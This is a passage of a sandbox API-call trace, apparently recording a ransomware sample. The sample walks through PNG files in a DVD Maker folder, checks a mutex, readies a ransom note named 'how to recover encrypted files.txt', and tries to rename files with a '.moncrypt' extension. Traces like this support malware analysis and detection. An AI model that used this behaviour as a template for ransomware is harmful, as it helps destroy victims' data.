Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 87 [0058.234] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.234] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Push\\NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 4 [0058.234] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3626c1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3626c1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 0x54e280 [0058.234] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.234] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.235] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.235] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png", dwFileAttributes=0x20) returned 0 [0058.235] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.235] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_selectionsubpicture.png.moncrypt")) returned 0 [0058.235] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f38881e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f38881e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0058.235] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.235] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.235] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.236] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.236] GlobalUnlock (hMem=0x44000c) returned 0 [0058.236] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.236] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.236] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.236] GlobalUnlock (hMem=0x44000c) returned 0 [0058.236] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.236] GlobalUnlock (hMem=0x440004) returned 0 [0058.236] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.236] CharLowerBuffW (in: lpsz="NavigationRight_ButtonGraphic.png", cchLength=0x21 | out: lpsz="navigationright_buttongraphic.png") returned 0x21 [0058.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.237] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png", cchWideChar=82, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.pngd", lpUsedDefaultChar=0x0) returned 82 [0058.237] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.238] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Push\\NavigationRight_ButtonGraphic.pngd", lpUsedDefaultChar=0x0) returned 4 [0058.238] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f38881e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f38881e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 0x54e280 [0058.238] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.238] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.238] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.238] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png", dwFileAttributes=0x20) returned 0 [0058.238] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.238] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_buttongraphic.png.moncrypt")) returned 0 [0058.239] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f38881e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f38881e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0058.239] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.239] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.239] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.239] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.239] GlobalUnlock (hMem=0x440004) returned 0 [0058.239] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.239] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.239] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.239] GlobalUnlock (hMem=0x440004) returned 0 [0058.239] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.239] GlobalUnlock (hMem=0x44000c) returned 0 [0058.239] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.239] CharLowerBuffW (in: lpsz="NavigationRight_SelectionSubpicture.png", cchLength=0x27 | out: lpsz="navigationright_selectionsubpicture.png") returned 0x27 [0058.239] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.239] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.239] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.239] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.239] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.239] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.240] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.240] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.240] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.240] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.240] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.240] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.240] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.240] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.240] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.240] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.240] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.240] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.240] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.240] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.240] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.240] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.240] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.240] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.240] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.240] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.240] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.240] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.240] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.240] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.240] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | 